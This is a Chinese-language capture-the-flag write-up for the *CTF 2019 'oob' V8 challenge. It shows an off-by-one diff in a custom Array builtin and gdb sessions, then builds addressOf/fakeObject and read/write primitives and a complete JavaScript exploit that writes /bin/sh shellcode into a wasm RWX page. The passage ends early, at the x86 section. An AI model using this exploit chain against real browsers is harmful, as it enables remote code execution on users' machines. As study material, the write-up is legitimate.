starctf2019-oob
fa1lr4in Lv2

starctf2019-oob

1、环境复现

1、搭建v8调试环境,并下载题目到指定目录(这里需要有v8调试环境搭建的基础,要做好git全局代理和bash全局代理的准备)

2、还原题目环境

1
2
3
4
5
cd v8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598 #设置v8分支
gclient sync
git apply ../oob.diff
tools/dev/gm.py x64.release

2、diff分析

diff文件如下,其中主要的逻辑在于kArrayOob的具体实现部分,我直接在该段代码中将重要位置进行注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace

+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value(); //指定参数个数大于1的时候返回
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver); //将receiver对象强转成array对象
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); //elements为array对象的elements字段
+ uint32_t length = static_cast<uint32_t>(array->length()->Number()); //数组长度
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length))); //当参数为空,返回第length个元素的内容
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number()); //当参数为个数为1,就将第一个参数写入到数组中的第length个元素的值
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:

由于创建一个数组长度为length时我们可以访问的是第0到length-1个元素,但是该段代码却直接读取和写入第length个元素,这样就造成了off-by-one。

验证一下,实际上也和我们的分析是一样的

image-20201230164453695

3、分析利用思路

首先编写test.js如下

1
2
3
4
5
6
7
8
var a = [1,2,3, 1.1];
%DebugPrint(a);
%SystemBreak();
var data = a.oob();
console.log("[*] oob return data:" + data.toString());
%SystemBreak();
a.oob(2);
%SystemBreak();

调试到第一步会给出数组a的object的基址,查看相关job,telescope

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
gdb d8
set args --allow-natives-syntax test_jscode/test.js
r
pwndbg> job 0x0f264d68de49
0xf264d68de49: [JSArray]
- map: 0x3e88cd582ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1cf103951111 <JSArray[0]>
- elements: 0x0f264d68de19 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x0f553c540c71 <FixedArray[0]> {
#length: 0x01ac3ca801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0f264d68de19 <FixedDoubleArray[4]> {
0: 1
1: 2
2: 3
3: 1.1
}
pwndbg> telescope 0x0f264d68de48
00:00000xf264d68de48 —▸ 0x3e88cd582ed9 ◂— 0x400000f553c5401 //map, 注意到这个时候0xf264d68de48位置的值是0x3e88cd582ed9
01:00080xf264d68de50 —▸ 0xf553c540c71 ◂— 0xf553c5408 //protype
02:00100xf264d68de58 —▸ 0xf264d68de19 ◂— 0xf553c5414 //elements, 在该object-0x30的位置上
03:00180xf264d68de60 ◂— 0x400000000 //length
04:00200xf264d68de68 ◂— 0x0 //properties
... ↓
pwndbg> job 0x0f264d68de19
0xf264d68de19: [FixedDoubleArray]
- map: 0x0f553c5414f9 <Map>
- length: 4
0: 1
1: 2
2: 3
3: 1.1
pwndbg> telescope 0x0f264d68de18
00:00000xf264d68de18 —▸ 0xf553c5414f9 ◂— 0xf553c5401
01:00080xf264d68de20 ◂— 0x400000000
02:00100xf264d68de28 ◂— 0x3ff0000000000000 //1
03:00180xf264d68de30 ◂— 0x4000000000000000 //2
04:00200xf264d68de38 ◂— 0x4008000000000000 //3
05:00280xf264d68de40 ◂— 0x3ff199999999999a //1.1
06:00300xf264d68de48 —▸ 0x3e88cd582ed9 ◂— 0x400000f553c5401
07:00380xf264d68de50 —▸ 0xf553c540c71 ◂— 0xf553c5408

调试到第二步,打印到了0xf264d68de48位置处的值

1
2
3
4
pwndbg> c
Continuing.
[*] oob return data:3.3970610731499e-310
...

调试到第三步,对0xf264d68de48进行了写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> telescope 0x0f264d68de18
00:00000xf264d68de18 —▸ 0xf553c5414f9 ◂— 0xf553c5401
01:00080xf264d68de20 ◂— 0x400000000
02:00100xf264d68de28 ◂— 0x3ff0000000000000 //1
03:00180xf264d68de30 ◂— 0x4000000000000000 //2
04:00200xf264d68de38 ◂— 0x4008000000000000 //3
05:00280xf264d68de40 ◂— 0x3ff199999999999a //1.1
06:00300xf264d68de48 ◂— 0x4000000000000000 //2
07:00380xf264d68de50 —▸ 0xf553c540c71 ◂— 0xf553c5408
pwndbg> telescope 0x0f264d68de48
00:00000xf264d68de48 ◂— 0x4000000000000000 //2,本来是object的map值,已经被覆盖修改成浮点数的2
01:00080xf264d68de50 —▸ 0xf553c540c71 ◂— 0xf553c5408
02:00100xf264d68de58 —▸ 0xf264d68de19 ◂— 0xf553c5414
03:00180xf264d68de60 ◂— 0x400000000
04:00200xf264d68de68 —▸ 0xf553c540561 ◂— 0x200000f553c5401
05:00280xf264d68de70 —▸ 0x3e88cd582ed9 ◂— 0x400000f553c5401
06:00300xf264d68de78 —▸ 0xf553c541ea9 ◂— 0x400000f553c5401
07:00380xf264d68de80 ◂— 0x2800000003
pwndbg> job 0x0f264d68de19
0xf264d68de19: [FixedDoubleArray]
- map: 0x0f553c5414f9 <Map>
- length: 4
0: 1
1: 2
2: 3
3: 1.1

总结一下,当我们不传参数时,可以泄露object的map字段的值,如果传入参数,传入的参数会写入进object的map字段。

4、编写addressOf和fakeObject原语

what

什么叫做addressOf和fakeObject

计算一个对象的地址addressOf:将需要计算内存地址的对象存放到一个对象数组中的A[0],然后利用上述类型混淆漏洞,将对象数组的Map类型修改为浮点数数组的类型,访问A[0]即可得到浮点数表示的目标对象的内存地址。

将一个内存地址伪造为一个对象fakeObject:将需要伪造的内存地址存放到一个浮点数数组中的B[0],然后利用上述类型混淆漏洞,将浮点数数组的Map类型修改为对象数组的类型,那么B[0]此时就代表了以这个内存地址为起始地址的一个JS对象了。

说白了就是一个可以将对象当作地址,一个可以将地址当作对象。我们拿到这个有什么用呢?

why

如果我们定义一个FloatArray浮点数数组A,然后定义一个对象数组B。正常情况下,访问A[0]返回的是一个浮点数,访问B[0]返回的是一个对象元素。如果将B的类型修改为A的类型,那么再次访问B[0]时,返回的就不是对象元素B[0],而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;如果将A的类型修改为B的类型,那么再次访问A[0]时,返回的就不是浮点数A[0],而是以A[0]为内存地址的一个JavaScript对象了。

造成上面的原因在于,v8完全依赖Map类型对js对象进行解析。上面这个逻辑希望能仔细理解一下。

通过上面两种类型混淆的方式,就能够实现addressOf和fakeObject。

基于上述分析,如果我们利用oob的读取功能将数组对象A的对象类型Map读取出来,然后利用oob的写入功能将这个类型写入数组对象B,就会导致数组对象B的类型变为了数组对象A的对象类型,这样就造成了类型混淆。

how

下面我们利用JavaScript实现上述addressOf和fakeObject功能原语。

首先定义两个全局的Float数组和对象数组,利用oob函数漏洞泄露两个数组的Map类型:

1
2
3
4
5
6
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

然后实现下面两个函数,下面两个函数就是+1或-1和换map头的过程

addressOf 泄露某个object的地址

1
2
3
4
5
6
7
8
9
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak; //将要泄露的对象放到对象数组上
obj_array.oob(float_array_map); //将对象数组的头替换为float数组的头
let obj_addr = f2i(obj_array[0]) - 1n; //将对象数组的元素的地址泄露。let类型的变量与var类型的变量相比,限定了作用域,let是在块级作用域有效,而var是全局的变量;-1n其实就是-1,因为1是代表对象的标志,-1就是将对象转变为了地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr; //返回的是个float
}

fakeObject 将某个addr强制转换为object的对象

1
2
3
4
5
6
7
8
9
// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n); //将地址+1转变为对象
float_array.oob(obj_array_map); //将float数组的头替换为对象数组的头
let faked_obj = float_array[0]; //将对象变量返回
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj; //返回的是个对象
}

定义一些gadget,简单的工具代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}

%DebugPrint(float64);
%DebugPrint(bigUint64);
%SystemBreak();

5、构造任意读写原语

上面已经将地址转对象和对象转地址的原语构造出来了,现在我们需要利用这两个原语来构造任意地址读写

我们现在有如下的思路:

1、fakeObject可以将给定的内存地址转变为object,我们可以在这块地址上面构造object的结构体,然后利用fakeObject将其转化为object

2、由于这块object完全是我们构造的,所以其中的任何字段都是我们可控的,包括elements字段

3、我们已经知道elements实际上是个指针,指向elements这个object对象的地址,当我们操作数组元素时,其实操作的就是从elements对象地址+0x10的内存,我们有这样一个思路:将elements位置处的值覆盖为任意地址,这样我们操作数组元素时,操作的就是这块写的任意地址的内存。

我们直接通过任意读写原语来具体说明下上述过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
var fake_array = [											 	 // [+0x40]
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];

var fake_array_addr = addressOf(fake_array); // +0x40
var fake_object_addr = fake_array_addr - 0x40n + 0x10n; // +0x10
var fake_object = fakeObject(fake_object_addr); // [+0x10]

function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n); //fake_array[2] == [[+0x40+0x10]+0x10+0x10] == 0x00+0x10+0x10 == 0x20, +0x40++0x10为element的地址,[+0x40+0x10]为element对象,第一个+0x10为element的第[0]个元素,第二个+0x10为element的第[2]个元素,该地址存放的值为i2f(addr - 0x10n + 0x1n)。
let leak_data = f2i(fake_object[0]); //fake_object[0] == [[+0x10+0x10]+0x10] == [[+0x20]+0x10] == [addr-0x10+0x1+0x10] == [addr+0x1]
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}

function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

描述下上面创建的具体的内存结构

1
2
3
4
5
6
7
8
9
10
11
12
13
+0x0	elements_map		    //elements_start
+0x8 elements_length
+0x10 float_array_map //fake_array[0]; fake_object_addr
+0x18 i2f(0n) //fake_array[1]
+0x20 i2f(0x41414141n) //fake_array[2] //elements对象
+0x28 i2f(0x1000000000n) //fake_array[3]
+0x30 1.1 //fake_array[4]
+0x38 2.2 //fake_array[5]
+0x40 map //fake_array_addr
+0x48 prototype
+0x50 elements //value == +0x0
+0x58 length
+0x60 properties

然后在v8中进行调试

1
2
3
4
5
6
7
8
9
10
var a = [1.1, 2.2, 3.3];
%DebugPrint(a);
var a_addr = addressOf(a);
console.log("[*] addressOf a: 0x" + hex(a_addr));

read64(a_addr);
%SystemBreak();

write64(a_addr, 0x01020304n);
%SystemBreak();

输出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> r
...
0x1f8b3558fa61 <JSArray[3]>
[*] addressOf a: 0x00001f8b3558fa60
[*] leak from: 0x00001f8b3558fa60: 0x00003f510acc2ed9
...
pwndbg> telescope 0x00001f8b3558fa60
00:00000x1f8b3558fa60 —▸ 0x3f510acc2ed9 ◂— 0x4000001989b3c01 //可以看到将0x1f8b3558fa60处的值0x3f510acc2ed9读取出来了
01:00080x1f8b3558fa68 —▸ 0x1989b3c0c71 ◂— 0x1989b3c08
02:00100x1f8b3558fa70 —▸ 0x1f8b3558fa39 ◂— 0x1989b3c14
03:00180x1f8b3558fa78 ◂— 0x300000000
04:00200x1f8b3558fa80 —▸ 0x1989b3c0561 ◂— 0x2000001989b3c01
05:00280x1f8b3558fa88 —▸ 0x1f8b3558fa61 ◂— 0x7100003f510acc2e
06:00300x1f8b3558fa90 —▸ 0x1989b3c13b9 ◂— 0x1989b3c01
07:00380x1f8b3558fa98 ◂— 0x2
pwndbg> c
Continuing.
[*] write to : 0x00001f8b3558fa60: 0x0000000001020304
...
pwndbg> telescope 0x00001f8b3558fa60
00:00000x1f8b3558fa60 ◂— 0x1020304 //0x1f8b3558fa60处的值被修改为0x0000000001020304
01:00080x1f8b3558fa68 —▸ 0x1989b3c0c71 ◂— 0x1989b3c08
02:00100x1f8b3558fa70 —▸ 0x1f8b3558fa39 ◂— 0x1989b3c14
03:00180x1f8b3558fa78 ◂— 0x300000000
04:00200x1f8b3558fa80 —▸ 0x1989b3c0561 ◂— 0x2000001989b3c01
05:00280x1f8b3558fa88 —▸ 0x1f8b3558fa61 ◂— 0x7100000000010203
06:00300x1f8b3558fa90 —▸ 0x1989b3c13b9 ◂— 0x1989b3c01
07:00380x1f8b3558fa98 ◂— 0x2

6、利用思路归纳

题目的利用思路有两种,一种是通过常规的堆漏洞利用方式,另一种是js引擎漏洞特有的义中叫做wasm的利用方式

在传统堆漏洞的pwn中,利用过程如下(因为在我们的浏览器中,已经实现了任意地址读写的漏洞效果,所以这个传统的利用思路在v8中也同样适用)

通过堆漏洞能够实现一个任意地址写的效果

结合程序功能和UAF漏洞泄露出一个libc地址

通过泄露的libc地址计算出free_hook、malloc_hook、system和one_gadget的内存地址

利用任意地址写将hook函数修改为System或one_gadget的地址,从而实现shell的执行

另外在v8中还有一种被称为webassembly即wasm的技术。通俗来讲,v8可以直接执行其它高级语言生成的机器码,从而加快运行效率。存储wasm的内存页是RWX可读可写可执行的,因此我们还可以通过下面的思路执行我们的shellcode:

利用webassembly构造一块RWX内存页

通过漏洞将shellcode覆写到原本属于webassembly机器码的内存页中

后续再调用webassembly函数接口时,实际上就触发了我们部署好的shellcode

wasm详细见下面的文章,讲的很好:

https://www.jianshu.com/p/bff8aa23fe4d

7、WASM方式进行漏洞利用

简单用法

wasm即webassembly,可以让JavaScript直接执行高级语言生成的机器码。

在线编译网站:https://wasdk.github.io/WasmFiddle/

可以直接通过示例来进行,点击左下角选择Code Buffer,之后正上方build,之后正上方run,之后右下方就会显示出执行结果:

image-20210104145616327

这样有种猜测,是不是可以直接写调用命令,直接转换为WASM码,js引擎直接执行,后来发现这种方式是不行的,报告脚本错误

image-20210104150202512

利用wasm执行shellcode

wasm的作用是将一段功能转换为机器码,实际上wasm是一段AST字节码,之后通过运行wasm这一段字节码将高级语言转换为机器码,也就是说,wasm的功能可以理解为编译功能,wasm的代码和它”编译“生成的机器码的位置是不一样的

所以我们有这样的一种方式:

1、首先通过wasm生成一段tmpcode

2、通过addressOf原语找到存放wasm的内存地址

3、通过任意地址写原语用shellcode替换原本的tmpcode

4、最后调用之前的tmpcode功能即可触发shellcode

寻找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
pwndbg> r
Starting program: /root/browser_study/v8/v8/v8/out/x64.release/d8 --allow-natives-syntax ./poc.js
...
[*] leak wasm func addr: 0x000005b5f06a1b60

pwndbg> job 0x000005b5f06a1b61
0x5b5f06a1b61: [Function] in OldSpace
- map: 0x02b1b4a04379 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x05b5f0682109 <JSFunction (sfi = 0x146242243b29)>
- elements: 0x129784b00c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x05b5f06a1b29 <SharedFunctionInfo 0>
- name: 0x129784b04ae1 <String[#1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x05b5f0681869 <NativeContext[246]>
- code: 0x027534f82001 <Code JS_TO_WASM_FUNCTION>
- WASM instance 0x5b5f06a1969
- WASM function index 0
- properties: 0x129784b00c71 <FixedArray[0]> {
#length: 0x1462422404b9 <AccessorInfo> (const accessor descriptor)
#name: 0x146242240449 <AccessorInfo> (const accessor descriptor)
#arguments: 0x146242240369 <AccessorInfo> (const accessor descriptor)
#caller: 0x1462422403d9 <AccessorInfo> (const accessor descriptor)
}

- feedback vector: not available
pwndbg> job 0x05b5f06a1b29
0x5b5f06a1b29: [SharedFunctionInfo] in OldSpace
- map: 0x129784b009e1 <Map[56]>
- name: 0x129784b04ae1 <String[#1]: 0>
- kind: NormalFunction
- function_map_index: 144
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- data: 0x05b5f06a1b01 <WasmExportedFunctionData>
- code (from data): 0x027534f82001 <Code JS_TO_WASM_FUNCTION>
- function token position: -1
- start position: -1
- end position: -1
- no debug info
- scope info: 0x129784b00c61 <ScopeInfo[0]>
- length: 0
- feedback_metadata: 0x129784b02a39: [FeedbackMetadata]
- map: 0x129784b01319 <Map>
- slot_count: 0

pwndbg> job 0x05b5f06a1b01
0x5b5f06a1b01: [WasmExportedFunctionData] in OldSpace
- map: 0x129784b05879 <Map[40]>
- wrapper_code: 0x027534f82001 <Code JS_TO_WASM_FUNCTION>
- instance: 0x05b5f06a1969 <Instance map = 0x2b1b4a09789>
- function_index: 0
pwndbg> job 0x05b5f06a1969
0x5b5f06a1969: [WasmInstanceObject] in OldSpace
- map: 0x02b1b4a09789 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x031ac750ac19 <Object map = 0x2b1b4a0ac79>
- elements: 0x129784b00c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x031ac75101e1 <Module map = 0x2b1b4a091e9>
- exports_object: 0x031ac7510451 <Object map = 0x2b1b4a0adb9>
- native_context: 0x05b5f0681869 <NativeContext[246]>
- memory_object: 0x05b5f06a1a91 <Memory map = 0x2b1b4a0a189>
- table 0: 0x031ac75103e9 <Table map = 0x2b1b4a09aa9>
- imported_function_refs: 0x129784b00c71 <FixedArray[0]>
- managed_native_allocations: 0x031ac7510391 <Foreign>
- memory_start: 0x7f9336540000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x55977a6fa3f0
- globals_start: (nil)
- imported_mutable_globals: 0x55977a6f9fd0
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x129784b00c71 <FixedArray[0]> {}

pwndbg> telescope 0x05b5f06a1968+0x88
00:00000x5b5f06a19f0 —▸ 0x20bf51557000 ◂— movabs r10, 0x20bf51557260 /* 0x20bf51557260ba49 */
01:00080x5b5f06a19f8 —▸ 0x31ac75101e1 ◂— 0x71000002b1b4a091
02:00100x5b5f06a1a00 —▸ 0x31ac7510451 ◂— 0x71000002b1b4a0ad
03:00180x5b5f06a1a08 —▸ 0x5b5f0681869 ◂— 0x129784b00f
04:00200x5b5f06a1a10 —▸ 0x5b5f06a1a91 ◂— 0x71000002b1b4a0a1
05:00280x5b5f06a1a18 —▸ 0x129784b004d1 ◂— 0x129784b005
... ↓
pwndbg> vmmap 0x20bf51557000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x20bf51557000 0x20bf51558000 rwxp 1000 0 +0x0

根据上面的思路,写出泄露RWX内存页起始地址的JS代码如下所示:

1
2
3
4
5
6
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n); //这里面的偏移在不同版本的v8中可能不同,不过只要在调试的过程中按照Function-->shared_info-->WasmExportedFunctionData-->instance的调用关系确定偏移,最后telescope查看instance的内存就好了

console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

gdb结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> r
Starting program: /root/browser_study/v8/v8/v8/out/x64.release/d8 --allow-natives-syntax ./poc.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ff37b27e700 (LWP 2610828)]
[New Thread 0x7ff37aa7d700 (LWP 2610829)]
[New Thread 0x7ff37a27c700 (LWP 2610830)]
[*] leak wasm func addr: 0x000033dad08a2018
[*] leak from: 0x000033dad08a2030: 0x000033dad08a1fe1
[*] leak from: 0x000033dad08a1fe8: 0x000033dad08a1fb9
[*] leak from: 0x000033dad08a1fc8: 0x000033dad08a1e21
[*] leak from: 0x000033dad08a1ea8: 0x00002c90fe47c000
[*] leak rwx_page_addr: 0x00002c90fe47c000

这样我们成功的泄露出了rwx内存页的起始地址

后续只要利用任意地址写write64原语我们的shellcode写入这个rwx页,然后调用wasm函数接口即可触发我们的shellcode了,具体实现如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* /bin/sh for linux x64
char shellcode[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f \x2f\x62\x69\x6e\x2f\x73\x68\x53 \x54\x5f\x52\x57\x54\x5e\x0f\x05";
*/
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr); //这里写入之前泄露的rwx_page_addr地址
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);

f();

image-20210104161032616

最终运行结果如下

1
2
3
4
5
6
7
8
9
10
root@ubuntu:~/browser_study/v8/v8/v8/out/x64.release# ./d8 exp.js
[*] leak wasm func addr: 0x0000388ba6d624a0
[*] leak from: 0x0000388ba6d624b8: 0x0000388ba6d62469
[*] leak from: 0x0000388ba6d62470: 0x0000388ba6d62441
[*] leak from: 0x0000388ba6d62450: 0x0000388ba6d622a9
[*] leak from: 0x0000388ba6d62330: 0x00003a7d7595f000
[*] leak rwx_page_addr: 0x00003a7d7595f000
[*] write to : 0x000008913e091668: 0x00003a7d7595f000
# whoami
root

完整exp如下

x64如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}

// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.oob(obj_array_map); // 还原array类型,以便后续继续使用
return obj_addr;
}

// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型,以便后续继续使用
return faked_obj;
}

var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];

var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);

function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}

function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;

var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);

console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

var data_buf = new ArrayBuffer(0x100);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
//msfvenom -p linux/x64/exec CMD=whoami -f num
var shellcode1 = [0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53,
0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x07, 0x00,
0x00, 0x00, 0x77, 0x68, 0x6f, 0x61, 0x6d, 0x69, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f,
0x05]
for (let i = 0; i < shellcode1.length; i++) {
data_view.setUint8(i, shellcode1[i]);
}

f();

x86如下

经过个人分析,x86的exp不可构造

X86构造的过程中,发现在调用oob的过程中,当执行如下语句时

1
2
3
4
5
6
7
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
